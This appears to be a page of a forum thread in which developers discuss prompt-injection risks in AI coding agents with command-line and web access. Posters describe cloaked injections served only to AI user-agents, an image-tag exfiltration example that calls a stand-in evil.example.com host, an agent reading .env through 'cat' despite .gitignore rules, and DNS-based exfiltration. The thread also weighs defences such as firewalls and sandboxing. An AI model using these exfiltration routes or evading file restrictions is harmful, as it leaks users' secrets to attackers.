201–210 of 227 posts
Earlier quoted context omitted.
You're not explaining why the trifecta doesn't solve the problem. What attack vector remains?
None, but your product becomes about as useful and functional as a rock.
The prompt injection doesn’t even have to be in 1px font or blending color. The malicious site can just return different content based on the user-agent or other way of detecting the AI agent request.
Earlier quoted context omitted.
Ah, perhaps answering myself: if the attacker can get the LLM to say "here, look at this HTML content in your browser: ... img src=" https://evil.example.com/exfiltrate.jpg?data= ...", then a large number of human users will do that for sure.
Once again affirming that prompt injection is social engineering for LLMs. To a first approximation, humans and LLMs have the same failure modes, and at system design level, they belong to the same class. I.e. LLMs are little people on a chip; don't put one where you wouldn't put the other.
There's nothing specific to Gemini and Antigravity here. This is an issue for all agent coding tools with cli access. Personally I'm hesitant to allow mine (I use Cline personally) access to a web search MCP and I tend to give it only relatively trustworthy URLs.
I do think they deserve some of the blame for encouraging you to allow all commands automatically by default.
I know that Cursor and the related IDEs touch millions of secrets per day. Issues like this are going to continue to be pretty common.
If the secrets are in a .env file and you have them in your .gitignore they don't, as you should.
the .gitignore applies to the agent's own "read file" tool. not allowed? it will just run "cat .env" and be happy
Earlier quoted context omitted.
> No, local models won't help you here, unless you block them from the internet or setup a firewall for outbound traffic. This is the only way. There has to be a firewall between a model and the internet. Tools which hit both language models and the broader internet cannot have access to anything remotely sensitive. I don't think you can get around this fact.
Not just the LLM, but any code that the LLM outputs also has to be firewalled. Sandboxing your LLM but then executing whatever it wants in your web browser defeats the point. CORS does not help. Also, the firewall has to block most DNS traffic, otherwise the model could query `A .evil.com` and Google/Cloudflare servers (along with everybody else) will forward the query to evil.com. Secure DNS, therefore, also can't b…
Earlier quoted context omitted.
None, but your product becomes about as useful and functional as a rock.
This is what reasonable people disagree on. My employer provides several AI coding tools, none of which can communicate with the external internet. It completely removes the exfiltration risk. And people find these tools very useful.
Earlier quoted context omitted.
I do think they deserve some of the blame for encouraging you to allow all commands automatically by default.
On the other hand, I've found that agentic tools are basically useless if they have to ask for every single thing. I think it makes the most sense to just sandbox the agentic environment completely (including disallowing remote access from within build tools, pulling dependencies from a controlled repository only). If the agent needs to look up docs or code, it will have to do so from the code and docs that are in th…
Earlier quoted context omitted.
Not just the LLM, but any code that the LLM outputs also has to be firewalled. Sandboxing your LLM but then executing whatever it wants in your web browser defeats the point. CORS does not help. Also, the firewall has to block most DNS traffic, otherwise the model could query `A .evil.com` and Google/Cloudflare servers (along with everybody else) will forward the query to evil.com. Secure DNS, therefore, also can't b…
try https://github.com/hopx-ai/hopx/